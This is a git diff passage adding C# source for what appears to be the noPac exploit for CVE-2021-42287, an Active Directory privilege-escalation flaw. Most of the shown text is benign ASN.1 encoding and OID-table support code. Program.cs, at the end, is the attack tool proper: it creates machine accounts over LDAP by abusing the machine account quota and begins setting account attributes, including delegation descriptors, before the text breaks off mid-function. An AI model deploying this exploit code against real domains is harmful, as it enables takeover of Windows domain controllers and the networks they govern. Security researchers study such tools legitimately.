str[i]; + if (c == '.') { + if (x < 0) { + throw new AsnException( + "invalid OID (empty element)"); + } + r.Add(x); + x = -1; + continue; + } + if (c < '0' || c > '9') { + throw new AsnException(String.Format( + "invalid character U+{0:X4} in OID", + c)); + } + if (x < 0) { + x = 0; + } else if (x > ((Int64.MaxValue - 9) / 10)) { + throw new AsnException("OID element overflow"); + } + x = x * (long)10 + (long)(c - '0'); + } + if (x < 0) { + throw new AsnException( + "invalid OID (empty element)"); + } + r.Add(x); + if (r.Count < 2) { + throw new AsnException( + "invalid OID (not enough elements)"); + } + if (r[0] > 2 || r[1] > 40) { + throw new AsnException( + "invalid OID (first elements out of range)"); + } + + MemoryStream ms = new MemoryStream(); + ms.WriteByte((byte)(40 * (int)r[0] + (int)r[1])); + for (int i = 2; i < r.Count; i ++) { + long v = r[i]; + if (v < 0x80) { + ms.WriteByte((byte)v); + continue; + } + int k = -7; + for (long w = v; w != 0; w >>= 7, k += 7); + ms.WriteByte((byte)(0x80 + (int)(v >> k))); + for (k -= 7; k >= 0; k -= 7) { + int z = (int)(v >> k) & 0x7F; + if (k > 0) { + z |= 0x80; + } + ms.WriteByte((byte)z); + } + } + byte[] buf = ms.ToArray(); + return MakePrimitiveInner(OBJECT_IDENTIFIER, + buf, 0, buf.Length); + } + + /* + * Create a string of the provided type and contents. The string + * type is a universal tag value for one of the string or time + * types. + */ + public static AsnElt MakeString(int type, string str) + { + VerifyChars(str.ToCharArray(), type); + byte[] buf; + switch (type) { + case NumericString: + case PrintableString: + case UTCTime: + case GeneralizedTime: + case IA5String: + case TeletexString: + case GeneralString: + buf = EncodeMono(str); + break; + case UTF8String: + buf = EncodeUTF8(str); + break; + case BMPString: + buf = EncodeUTF16(str); + break; + case UniversalString: + buf = EncodeUTF32(str); + break; + default: + throw new AsnException( + "unsupported string type: " + type); + } + return MakePrimitiveInner(type, buf); + } + + static byte[] EncodeMono(string str) + { + byte[] r = new byte[str.Length]; + int k = 0; + foreach (char c in str) { + r[k ++] = (byte)c; + } + return r; + } + + /* + * Get the code point at offset 'off' in the string. Either one + * or two 'char' slots are used; 'off' is updated accordingly. + */ + static int CodePoint(string str, ref int off) + { + int c = str[off ++]; + if (c >= 0xD800 && c < 0xDC00 && off < str.Length) { + int d = str[off]; + if (d >= 0xDC00 && d < 0xE000) { + c = ((c & 0x3FF) << 10) + + (d & 0x3FF) + 0x10000; + off ++; + } + } + return c; + } + + static byte[] EncodeUTF8(string str) + { + int k = 0; + int n = str.Length; + MemoryStream ms = new MemoryStream(); + while (k < n) { + int cp = CodePoint(str, ref k); + if (cp < 0x80) { + ms.WriteByte((byte)cp); + } else if (cp < 0x800) { + ms.WriteByte((byte)(0xC0 + (cp >> 6))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } else if (cp < 0x10000) { + ms.WriteByte((byte)(0xE0 + (cp >> 12))); + ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } else { + ms.WriteByte((byte)(0xF0 + (cp >> 18))); + ms.WriteByte((byte)(0x80 + ((cp >> 12) & 63))); + ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } + } + return ms.ToArray(); + } + + static byte[] EncodeUTF16(string str) + { + byte[] buf = new byte[str.Length << 1]; + int k = 0; + foreach (char c in str) { + buf[k ++] = (byte)(c >> 8); + buf[k ++] = (byte)c; + } + return buf; + } + + static byte[] EncodeUTF32(string str) + { + int k = 0; + int n = str.Length; + MemoryStream ms = new MemoryStream(); + while (k < n) { + int cp = CodePoint(str, ref k); + ms.WriteByte((byte)(cp >> 24)); + ms.WriteByte((byte)(cp >> 16)); + ms.WriteByte((byte)(cp >> 8)); + ms.WriteByte((byte)cp); + } + return ms.ToArray(); + } + + /* + * Create a time value of the specified type (UTCTime or + * GeneralizedTime). + */ + public static AsnElt MakeTime(int type, DateTime dt) + { + dt = dt.ToUniversalTime(); + string str; + switch (type) { + case UTCTime: + int year = dt.Year; + if (year < 1950 || year >= 2050) { + throw new AsnException(String.Format( + "cannot encode year {0} as UTCTime", + year)); + } + year = year % 100; + str = String.Format( + "{0:d2}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}Z", + year, dt.Month, dt.Day, + dt.Hour, dt.Minute, dt.Second); + break; + case GeneralizedTime: + str = String.Format( + "{0:d4}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}", + dt.Year, dt.Month, dt.Day, + dt.Hour, dt.Minute, dt.Second); + int millis = dt.Millisecond; + if (millis != 0) { + if (millis % 100 == 0) { + str = String.Format("{0}.{1:d1}", + str, millis / 100); + } else if (millis % 10 == 0) { + str = String.Format("{0}.{1:d2}", + str, millis / 10); + } else { + str = String.Format("{0}.{1:d3}", + str, millis); + } + } + str = str + "Z"; + break; + default: + throw new AsnException( + "unsupported time type: " + type); + } + return MakeString(type, str); + } + + /* + * Create a time value of the specified type (UTCTime or + * GeneralizedTime). + */ + public static AsnElt MakeTime(int type, DateTimeOffset dto) + { + return MakeTime(type, dto.UtcDateTime); + } + + /* + * Create a time value with an automatic type selection + * (UTCTime if year is in the 1950..2049 range, GeneralizedTime + * otherwise). + */ + public static AsnElt MakeTimeAuto(DateTime dt) + { + dt = dt.ToUniversalTime(); + return MakeTime((dt.Year >= 1950 && dt.Year <= 2049) + ? UTCTime : GeneralizedTime, dt); + } + + /* + * Create a time value with an automatic type selection + * (UTCTime if year is in the 1950..2049 range, GeneralizedTime + * otherwise). + */ + public static AsnElt MakeTimeAuto(DateTimeOffset dto) + { + return MakeTimeAuto(dto.UtcDateTime); + } +} + +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnException.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnException.cs new file mode 100644 index 0000000..852bd72 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnException.cs @@ -0,0 +1,19 @@ +using System; +using System.IO; + +namespace Asn1 { + +public class AsnException : IOException { + + public AsnException(string message) + : base(message) + { + } + + public AsnException(string message, Exception nested) + : base(message, nested) + { + } +} + +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnIO.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnIO.cs new file mode 100644 index 0000000..04883ec --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnIO.cs @@ -0,0 +1,309 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Asn1 { + +public static class AsnIO { + + public static byte[] FindDER(byte[] buf) + { + return FindBER(buf, true); + } + + public static byte[] FindBER(byte[] buf) + { + return FindBER(buf, false); + } + + /* + * Find a BER/DER object in the provided buffer. If the data is + * not already in the right format, conversion to string then + * Base64 decoding is attempted; in the latter case, PEM headers + * are detected and skipped. In any case, the returned buffer + * must begin with a well-formed tag and length, corresponding to + * the object length. + * + * If 'strictDER' is true, then the function furthermore insists + * on the object to use a defined DER length. + * + * The returned buffer may be the source buffer itself, or a newly + * allocated buffer. + * + * On error, null is returned. + */ + public static byte[] FindBER(byte[] buf, bool strictDER) + { + string pemType = null; + return FindBER(buf, strictDER, out pemType); + } + + /* + * Find a BER/DER object in the provided buffer. If the data is + * not already in the right format, conversion to string then + * Base64 decoding is attempted; in the latter case, PEM headers + * are detected and skipped. In any case, the returned buffer + * must begin with a well-formed tag and length, corresponding to + * the object length. + * + * If 'strictDER' is true, then the function furthermore insists + * on the object to use a defined DER length. + * + * If the source was detected to use PEM, then the object type + * indicated by the PEM header is written in 'pemType'; otherwise, + * that variable is set to null. + * + * The returned buffer may be the source buffer itself, or a newly + * allocated buffer. + * + * On error, null is returned. + */ + public static byte[] FindBER(byte[] buf, + bool strictDER, out string pemType) + { + pemType = null; + + /* + * If it is already (from the outside) a BER object, + * return it. + */ + if (LooksLikeBER(buf, strictDER)) { + return buf; + } + + /* + * Convert the blob to a string. We support UTF-16 with + * and without a BOM, UTF-8 with and without a BOM, and + * ASCII-compatible encodings. Non-ASCII characters get + * truncated. + */ + if (buf.Length < 3) { + return null; + } + string str = null; + if ((buf.Length & 1) == 0) { + if (buf[0] == 0xFE && buf[1] == 0xFF) { + // Starts with big-endian UTF-16 BOM + str = ConvertBi(buf, 2, true); + } else if (buf[0] == 0xFF && buf[1] == 0xFE) { + // Starts with little-endian UTF-16 BOM + str = ConvertBi(buf, 2, false); + } else if (buf[0] == 0) { + // First byte is 0 -> big-endian UTF-16 + str = ConvertBi(buf, 0, true); + } else if (buf[1] == 0) { + // Second byte is 0 -> little-endian UTF-16 + str = ConvertBi(buf, 0, false); + } + } + if (str == null) { + if (buf[0] == 0xEF + && buf[1] == 0xBB + && buf[2] == 0xBF) + { + // Starts with UTF-8 BOM + str = ConvertMono(buf, 3); + } else { + // Assumed ASCII-compatible mono-byte encoding + str = ConvertMono(buf, 0); + } + } + if (str == null) { + return null; + } + + /* + * Try to detect a PEM header and footer; if we find both + * then we remove both, keeping only the characters that + * occur in between. + */ + int p = str.IndexOf("-----BEGIN "); + int q = str.IndexOf("-----END "); + if (p >= 0 && q >= 0) { + p += 11; + int r = str.IndexOf((char)10, p) + 1; + int px = str.IndexOf('-', p); + if (px > 0 && px < r && r > 0 && r <= q) { + pemType = string.Copy(str.Substring(p, px - p)); + str = str.Substring(r, q - r); + } + } + + /* + * Convert from Base64. + */ + try { + buf = Convert.FromBase64String(str); + if (LooksLikeBER(buf, strictDER)) { + return buf; + } + } catch { + // ignored: not Base64 + } + + /* + * Decoding failed. + */ + return null; + } + + /* =============================================================== */ + + /* + * Decode a tag; returned value is true on success, false otherwise. + * On success, 'off' is updated to point to the first byte after + * the tag. + */ + static bool DecodeTag(byte[] buf, int lim, ref int off) + { + int p = off; + if (p >= lim) { + return false; + } + int v = buf[p ++]; + if ((v & 0x1F) == 0x1F) { + do { + if (p >= lim) { + return false; + } + v = buf[p ++]; + } while ((v & 0x80) != 0); + } + off = p; + return true; + } + + /* + * Decode a BER length. Returned value is: + * -2 no decodable length + * -1 indefinite length + * 0+ definite length + * If a definite or indefinite length could be decoded, then 'off' + * is updated to point to the first byte after the length. + */ + static int DecodeLength(byte[] buf, int lim, ref int off) + { + int p = off; + if (p >= lim) { + return -2; + } + int v = buf[p ++]; + if (v < 0x80) { + off = p; + return v; + } else if (v == 0x80) { + off = p; + return -1; + } + v &= 0x7F; + if ((lim - p) < v) { + return -2; + } + int acc = 0; + while (v -- > 0) { + if (acc > 0x7FFFFF) { + return -2; + } + acc = (acc << 8) + buf[p ++]; + } + off = p; + return acc; + } + + /* + * Get the length, in bytes, of the object in the provided + * buffer. The object begins at offset 'off' but does not extend + * farther than offset 'lim'. If no such BER object can be + * decoded, then -1 is returned. The returned length includes + * that of the tag and length fields. + */ + static int BERLength(byte[] buf, int lim, int off) + { + int orig = off; + if (!DecodeTag(buf, lim, ref off)) { + return -1; + } + int len = DecodeLength(buf, lim, ref off); + if (len >= 0) { + if (len > (lim - off)) { + return -1; + } + return off + len - orig; + } else if (len < -1) { + return -1; + } + + /* + * Indefinite length: we must do some recursive exploration. + * End of structure is marked by a "null tag": object has + * total length 2 and its tag byte is 0. + */ + for (;;) { + int slen = BERLength(buf, lim, off); + if (slen < 0) { + return -1; + } + off += slen; + if (slen == 2 && buf[off] == 0) { + return off - orig; + } + } + } + + static bool LooksLikeBER(byte[] buf, bool strictDER) + { + return LooksLikeBER(buf, 0, buf.Length, strictDER); + } + + static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER) + { + int lim = off + len; + int objLen = BERLength(buf, lim, off); + if (objLen != len) { + return false; + } + if (strictDER) { + DecodeTag(buf, lim, ref off); + return DecodeLength(buf, lim, ref off) >= 0; + } else { + return true; + } + } + + static string ConvertMono(byte[] buf, int off) + { + int len = buf.Length - off; + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int v = buf[off + i]; + if (v < 1 || v > 126) { + v = '?'; + } + tc[i] = (char)v; + } + return new string(tc); + } + + static string ConvertBi(byte[] buf, int off, bool be) + { + int len = buf.Length - off; + if ((len & 1) != 0) { + return null; + } + len >>= 1; + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int b0 = buf[off + (i << 1) + 0]; + int b1 = buf[off + (i << 1) + 1]; + int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8)); + if (v < 1 || v > 126) { + v = '?'; + } + tc[i] = (char)v; + } + return new string(tc); + } +} + +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnOID.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnOID.cs new file mode 100644 index 0000000..19739f5 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnOID.cs @@ -0,0 +1,294 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Asn1 { + +public class AsnOID { + + static Dictionary OIDToName = + new Dictionary(); + static Dictionary NameToOID = + new Dictionary(); + + static AsnOID() + { + /* + * From RFC 5280, PKIX1Explicit88 module. + */ + Reg("1.3.6.1.5.5.7", "id-pkix"); + Reg("1.3.6.1.5.5.7.1", "id-pe"); + Reg("1.3.6.1.5.5.7.2", "id-qt"); + Reg("1.3.6.1.5.5.7.3", "id-kp"); + Reg("1.3.6.1.5.5.7.48", "id-ad"); + Reg("1.3.6.1.5.5.7.2.1", "id-qt-cps"); + Reg("1.3.6.1.5.5.7.2.2", "id-qt-unotice"); + Reg("1.3.6.1.5.5.7.48.1", "id-ad-ocsp"); + Reg("1.3.6.1.5.5.7.48.2", "id-ad-caIssuers"); + Reg("1.3.6.1.5.5.7.48.3", "id-ad-timeStamping"); + Reg("1.3.6.1.5.5.7.48.5", "id-ad-caRepository"); + + Reg("2.5.4", "id-at"); + Reg("2.5.4.41", "id-at-name"); + Reg("2.5.4.4", "id-at-surname"); + Reg("2.5.4.42", "id-at-givenName"); + Reg("2.5.4.43", "id-at-initials"); + Reg("2.5.4.44", "id-at-generationQualifier"); + Reg("2.5.4.3", "id-at-commonName"); + Reg("2.5.4.7", "id-at-localityName"); + Reg("2.5.4.8", "id-at-stateOrProvinceName"); + Reg("2.5.4.10", "id-at-organizationName"); + Reg("2.5.4.11", "id-at-organizationalUnitName"); + Reg("2.5.4.12", "id-at-title"); + Reg("2.5.4.46", "id-at-dnQualifier"); + Reg("2.5.4.6", "id-at-countryName"); + Reg("2.5.4.5", "id-at-serialNumber"); + Reg("2.5.4.65", "id-at-pseudonym"); + Reg("0.9.2342.19200300.100.1.25", "id-domainComponent"); + + Reg("1.2.840.113549.1.9", "pkcs-9"); + Reg("1.2.840.113549.1.9.1", "id-emailAddress"); + + /* + * From RFC 5280, PKIX1Implicit88 module. + */ + Reg("2.5.29", "id-ce"); + Reg("2.5.29.35", "id-ce-authorityKeyIdentifier"); + Reg("2.5.29.14", "id-ce-subjectKeyIdentifier"); + Reg("2.5.29.15", "id-ce-keyUsage"); + Reg("2.5.29.16", "id-ce-privateKeyUsagePeriod"); + Reg("2.5.29.32", "id-ce-certificatePolicies"); + Reg("2.5.29.33", "id-ce-policyMappings"); + Reg("2.5.29.17", "id-ce-subjectAltName"); + Reg("2.5.29.18", "id-ce-issuerAltName"); + Reg("2.5.29.9", "id-ce-subjectDirectoryAttributes"); + Reg("2.5.29.19", "id-ce-basicConstraints"); + Reg("2.5.29.30", "id-ce-nameConstraints"); + Reg("2.5.29.36", "id-ce-policyConstraints"); + Reg("2.5.29.31", "id-ce-cRLDistributionPoints"); + Reg("2.5.29.37", "id-ce-extKeyUsage"); + + Reg("2.5.29.37.0", "anyExtendedKeyUsage"); + Reg("1.3.6.1.5.5.7.3.1", "id-kp-serverAuth"); + Reg("1.3.6.1.5.5.7.3.2", "id-kp-clientAuth"); + Reg("1.3.6.1.5.5.7.3.3", "id-kp-codeSigning"); + Reg("1.3.6.1.5.5.7.3.4", "id-kp-emailProtection"); + Reg("1.3.6.1.5.5.7.3.8", "id-kp-timeStamping"); + Reg("1.3.6.1.5.5.7.3.9", "id-kp-OCSPSigning"); + + Reg("2.5.29.54", "id-ce-inhibitAnyPolicy"); + Reg("2.5.29.46", "id-ce-freshestCRL"); + Reg("1.3.6.1.5.5.7.1.1", "id-pe-authorityInfoAccess"); + Reg("1.3.6.1.5.5.7.1.11", "id-pe-subjectInfoAccess"); + Reg("2.5.29.20", "id-ce-cRLNumber"); + Reg("2.5.29.28", "id-ce-issuingDistributionPoint"); + Reg("2.5.29.27", "id-ce-deltaCRLIndicator"); + Reg("2.5.29.21", "id-ce-cRLReasons"); + Reg("2.5.29.29", "id-ce-certificateIssuer"); + Reg("2.5.29.23", "id-ce-holdInstructionCode"); + Reg("2.2.840.10040.2", "WRONG-holdInstruction"); + Reg("2.2.840.10040.2.1", "WRONG-id-holdinstruction-none"); + Reg("2.2.840.10040.2.2", "WRONG-id-holdinstruction-callissuer"); + Reg("2.2.840.10040.2.3", "WRONG-id-holdinstruction-reject"); + Reg("2.5.29.24", "id-ce-invalidityDate"); + + /* + * These are the "right" OID. RFC 5280 mistakenly defines + * the first OID element as "2". + */ + Reg("1.2.840.10040.2", "holdInstruction"); + Reg("1.2.840.10040.2.1", "id-holdinstruction-none"); + Reg("1.2.840.10040.2.2", "id-holdinstruction-callissuer"); + Reg("1.2.840.10040.2.3", "id-holdinstruction-reject"); + + /* + * From PKCS#1. + */ + Reg("1.2.840.113549.1.1", "pkcs-1"); + Reg("1.2.840.113549.1.1.1", "rsaEncryption"); + Reg("1.2.840.113549.1.1.7", "id-RSAES-OAEP"); + Reg("1.2.840.113549.1.1.9", "id-pSpecified"); + Reg("1.2.840.113549.1.1.10", "id-RSASSA-PSS"); + Reg("1.2.840.113549.1.1.2", "md2WithRSAEncryption"); + Reg("1.2.840.113549.1.1.4", "md5WithRSAEncryption"); + Reg("1.2.840.113549.1.1.5", "sha1WithRSAEncryption"); + Reg("1.2.840.113549.1.1.11", "sha256WithRSAEncryption"); + Reg("1.2.840.113549.1.1.12", "sha384WithRSAEncryption"); + Reg("1.2.840.113549.1.1.13", "sha512WithRSAEncryption"); + Reg("1.3.14.3.2.26", "id-sha1"); + Reg("1.2.840.113549.2.2", "id-md2"); + Reg("1.2.840.113549.2.5", "id-md5"); + Reg("1.2.840.113549.1.1.8", "id-mgf1"); + + /* + * From NIST: http://csrc.nist.gov/groups/ST/crypto_apps_infra/csor/algorithms.html + */ + Reg("2.16.840.1.101.3", "csor"); + Reg("2.16.840.1.101.3.4", "nistAlgorithms"); + Reg("2.16.840.1.101.3.4.0", "csorModules"); + Reg("2.16.840.1.101.3.4.0.1", "aesModule1"); + + Reg("2.16.840.1.101.3.4.1", "aes"); + Reg("2.16.840.1.101.3.4.1.1", "id-aes128-ECB"); + Reg("2.16.840.1.101.3.4.1.2", "id-aes128-CBC"); + Reg("2.16.840.1.101.3.4.1.3", "id-aes128-OFB"); + Reg("2.16.840.1.101.3.4.1.4", "id-aes128-CFB"); + Reg("2.16.840.1.101.3.4.1.5", "id-aes128-wrap"); + Reg("2.16.840.1.101.3.4.1.6", "id-aes128-GCM"); + Reg("2.16.840.1.101.3.4.1.7", "id-aes128-CCM"); + Reg("2.16.840.1.101.3.4.1.8", "id-aes128-wrap-pad"); + Reg("2.16.840.1.101.3.4.1.21", "id-aes192-ECB"); + Reg("2.16.840.1.101.3.4.1.22", "id-aes192-CBC"); + Reg("2.16.840.1.101.3.4.1.23", "id-aes192-OFB"); + Reg("2.16.840.1.101.3.4.1.24", "id-aes192-CFB"); + Reg("2.16.840.1.101.3.4.1.25", "id-aes192-wrap"); + Reg("2.16.840.1.101.3.4.1.26", "id-aes192-GCM"); + Reg("2.16.840.1.101.3.4.1.27", "id-aes192-CCM"); + Reg("2.16.840.1.101.3.4.1.28", "id-aes192-wrap-pad"); + Reg("2.16.840.1.101.3.4.1.41", "id-aes256-ECB"); + Reg("2.16.840.1.101.3.4.1.42", "id-aes256-CBC"); + Reg("2.16.840.1.101.3.4.1.43", "id-aes256-OFB"); + Reg("2.16.840.1.101.3.4.1.44", "id-aes256-CFB"); + Reg("2.16.840.1.101.3.4.1.45", "id-aes256-wrap"); + Reg("2.16.840.1.101.3.4.1.46", "id-aes256-GCM"); + Reg("2.16.840.1.101.3.4.1.47", "id-aes256-CCM"); + Reg("2.16.840.1.101.3.4.1.48", "id-aes256-wrap-pad"); + + Reg("2.16.840.1.101.3.4.2", "hashAlgs"); + Reg("2.16.840.1.101.3.4.2.1", "id-sha256"); + Reg("2.16.840.1.101.3.4.2.2", "id-sha384"); + Reg("2.16.840.1.101.3.4.2.3", "id-sha512"); + Reg("2.16.840.1.101.3.4.2.4", "id-sha224"); + Reg("2.16.840.1.101.3.4.2.5", "id-sha512-224"); + Reg("2.16.840.1.101.3.4.2.6", "id-sha512-256"); + + Reg("2.16.840.1.101.3.4.3", "sigAlgs"); + Reg("2.16.840.1.101.3.4.3.1", "id-dsa-with-sha224"); + Reg("2.16.840.1.101.3.4.3.2", "id-dsa-with-sha256"); + + Reg("1.2.840.113549", "rsadsi"); + Reg("1.2.840.113549.2", "digestAlgorithm"); + Reg("1.2.840.113549.2.7", "id-hmacWithSHA1"); + Reg("1.2.840.113549.2.8", "id-hmacWithSHA224"); + Reg("1.2.840.113549.2.9", "id-hmacWithSHA256"); + Reg("1.2.840.113549.2.10", "id-hmacWithSHA384"); + Reg("1.2.840.113549.2.11", "id-hmacWithSHA512"); + + /* + * From X9.57: http://oid-info.com/get/1.2.840.10040.4 + */ + Reg("1.2.840.10040.4", "x9algorithm"); + Reg("1.2.840.10040.4", "x9cm"); + Reg("1.2.840.10040.4.1", "dsa"); + Reg("1.2.840.10040.4.3", "dsa-with-sha1"); + + /* + * From SEC: http://oid-info.com/get/1.3.14.3.2 + */ + Reg("1.3.14.3.2.2", "md4WithRSA"); + Reg("1.3.14.3.2.3", "md5WithRSA"); + Reg("1.3.14.3.2.4", "md4WithRSAEncryption"); + Reg("1.3.14.3.2.12", "dsaSEC"); + Reg("1.3.14.3.2.13", "dsaWithSHASEC"); + Reg("1.3.14.3.2.27", "dsaWithSHA1SEC"); + + /* + * From Microsoft: http://oid-info.com/get/1.3.6.1.4.1.311.20.2 + */ + Reg("1.3.6.1.4.1.311.20.2", "ms-certType"); + Reg("1.3.6.1.4.1.311.20.2.2", "ms-smartcardLogon"); + Reg("1.3.6.1.4.1.311.20.2.3", "ms-UserPrincipalName"); + Reg("1.3.6.1.4.1.311.20.2.3", "ms-UPN"); + } + + static void Reg(string oid, string name) + { + if (!OIDToName.ContainsKey(oid)) { + OIDToName.Add(oid, name); + } + string nn = Normalize(name); + if (NameToOID.ContainsKey(nn)) { + throw new Exception("OID name collision: " + nn); + } + NameToOID.Add(nn, oid); + + /* + * Many names start with 'id-??-' and we want to support + * the short names (without that prefix) as aliases. But + * we must take care of some collisions on short names. + */ + if (name.StartsWith("id-") + && name.Length >= 7 && name[5] == '-') + { + if (name.StartsWith("id-ad-")) { + Reg(oid, name.Substring(6) + "-IA"); + } else if (name.StartsWith("id-kp-")) { + Reg(oid, name.Substring(6) + "-EKU"); + } else { + Reg(oid, name.Substring(6)); + } + } + } + + static string Normalize(string name) + { + StringBuilder sb = new StringBuilder(); + foreach (char c in name) { + int d = (int)c; + if (d <= 32 || d == '-') { + continue; + } + if (d >= 'A' && d <= 'Z') { + d += 'a' - 'A'; + } + sb.Append((char)c); + } + return sb.ToString(); + } + + public static string ToName(string oid) + { + return OIDToName.ContainsKey(oid) ? OIDToName[oid] : oid; + } + + public static string ToOID(string name) + { + if (IsNumericOID(name)) { + return name; + } + string nn = Normalize(name); + if (!NameToOID.ContainsKey(nn)) { + throw new AsnException( + "unrecognized OID name: " + name); + } + return NameToOID[nn]; + } + + public static bool IsNumericOID(string oid) + { + /* + * An OID is in numeric format if: + * -- it contains only digits and dots + * -- it does not start or end with a dot + * -- it does not contain two consecutive dots + * -- it contains at least one dot + */ + foreach (char c in oid) { + if (!(c >= '0' && c <= '9') && c != '.') { + return false; + } + } + if (oid.StartsWith(".") || oid.EndsWith(".")) { + return false; + } + if (oid.IndexOf("..") >= 0) { + return false; + } + if (oid.IndexOf('.') < 0) { + return false; + } + return true; + } +} + +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Program.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Program.cs new file mode 100644 index 0000000..a59187f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Program.cs @@ -0,0 +1,465 @@ +using Rubeus; +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.DirectoryServices.ActiveDirectory; +using System.DirectoryServices.Protocols; +using System.Linq; +using System.Net; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Text; + +namespace noPac +{ + internal class Program + { + public static string GetMAQDistinguishedName(string node, string container, string distinguishedName, string domain, bool verbose) + { + string[] domainComponent; + + switch (container) + { + + case "BUILTIN": + container = "CN=Builtin"; + break; + + case "COMPUTERS": + container = "CN=Computers"; + break; + + case "DOMAINCONTROLLERS": + container = "OU=Domain Controllers"; + break; + + case "FOREIGNSECURITYPRINCIPALS": + container = "CN=ForeignSecurityPrincipals"; + break; + + case "KEYS": + container = "CN=Keys"; + break; + + case "LOSTANDFOUND": + container = "CN=LostAndFound"; + break; + + case "MANAGEDSERVICEACCOUNTS": + container = "CN=Managed Service Accounts"; + break; + + case "PROGRAMDATA": + container = "CN=Program Data"; + break; + + case "USERS": + container = "CN=Users"; + break; + + case "ROOT": + container = ""; + break; + + } + + if (string.IsNullOrEmpty(distinguishedName)) + { + + if (!String.IsNullOrEmpty(container)) + { + + if (!String.IsNullOrEmpty(node)) + { + distinguishedName = String.Concat("CN=", node, ",", container); + } + else + { + distinguishedName = container; + } + + } + + domainComponent = domain.Split('.'); + + foreach (string dc in domainComponent) + { + distinguishedName += String.Concat(",DC=", dc); + } + + distinguishedName = distinguishedName.TrimStart(','); + + if (verbose) { Console.WriteLine("[+] Distinguished Name = {0}", distinguishedName); }; + } + else if (!String.IsNullOrEmpty(node)) + { + distinguishedName = String.Concat("DC=", node, ",", distinguishedName); + } + + return distinguishedName; + } + + public static void NewMachineAccount(string container, string distinguishedName, string domain, string domainController, string machineAccount, string machinePassword, bool verbose, bool random, NetworkCredential credential) + { + string samAccountName; + + if (machineAccount.EndsWith("$")) + { + samAccountName = machineAccount; + machineAccount = machineAccount.Substring(0, machineAccount.Length - 1); + } + else + { + samAccountName = String.Concat(machineAccount, "$"); + } + + byte[] unicodePwd; + string randomPassword = ""; + + if (random) + { + Console.WriteLine("[*] Generating random machine account password"); + RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider(); + byte[] randomBuffer = new byte[16]; + cryptoServiceProvider.GetBytes(randomBuffer); + machinePassword = Convert.ToBase64String(randomBuffer); + } + + domain = domain.ToLower(); + string dnsHostname = String.Concat(machineAccount, ".", domain); + string[] servicePrincipalName = { String.Concat("HOST/", dnsHostname), String.Concat("RestrictedKrbHost/", dnsHostname), String.Concat("HOST/", machineAccount), String.Concat("RestrictedKrbHost/", machineAccount) }; + unicodePwd = Encoding.Unicode.GetBytes(String.Concat('"', machinePassword, '"')); + distinguishedName = GetMAQDistinguishedName(machineAccount, container, distinguishedName, domain, verbose); + LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(domainController, 389); + LdapConnection connection = new LdapConnection(identifier); + + if (!String.IsNullOrEmpty(credential.UserName)) + { + connection = new LdapConnection(identifier, credential); + } + + try + { + connection.SessionOptions.Sealing = true; + connection.SessionOptions.Signing = true; + connection.Bind(); + AddRequest request = new AddRequest(); + request.DistinguishedName = distinguishedName; + request.Attributes.Add(new DirectoryAttribute("objectClass", "Computer")); + request.Attributes.Add(new DirectoryAttribute("sAMAccountName", samAccountName)); + request.Attributes.Add(new DirectoryAttribute("userAccountControl", "4096")); + request.Attributes.Add(new DirectoryAttribute("dNSHostName", dnsHostname)); + request.Attributes.Add(new DirectoryAttribute("servicePrincipalName", servicePrincipalName)); + request.Attributes.Add(new DirectoryAttribute("unicodePwd", unicodePwd)); + connection.SendRequest(request); + connection.Dispose(); + + if (random) + { + Console.WriteLine("[+] Machine account {0} added with password {1}", machineAccount, randomPassword); + } + else + { + Console.WriteLine("[+] Machine account {0} added", machineAccount); + } + + } + catch (Exception ex) + { + + if (ex.Message.Contains("The object exists.")) + { + Console.WriteLine("[!] Machine account {0} already exists", machineAccount); + } + else if (ex.Message.Contains("The server cannot handle directory requests.")) + { + Console.WriteLine("[!] User may have reached ms-DS-MachineAccountQuota limit"); + } + + Console.WriteLine(ex.ToString()); + connection.Dispose(); + throw; + } + + } + + public static void SetMachineAccountAttribute(string container, string distinguishedName, string domain, string domainController, string attribute, string machineAccount, string value, bool append, bool clear, bool verbose, NetworkCredential credential) + { + distinguishedName = GetMAQDistinguishedName(machineAccount, container, distinguishedName, domain, false); + + if (attribute.Equals("msDS-AllowedToActOnBehalfOfOtherIdentity")) + { + RawSecurityDescriptor rawSecurityDescriptor = new RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + value + ")"); + byte[] descriptor = new byte[rawSecurityDescriptor.BinaryLength]; + rawSecurityDescriptor.GetBinaryForm(descriptor, 0); + } + + DirectoryEntry directoryEntry; + + if (!String.IsNullOrEmpty(credential.UserName)) + { + directoryEntry = new DirectoryEntry(String.Concat("LDAP://", domainController, "/", distinguishedName), credential.UserName, credential.Password); + } + else + { + directoryEntry = new DirectoryEntry(String.Concat("LDAP://", domainController, "/", distinguishedName)); + } + + try + { + + if (append) + { + 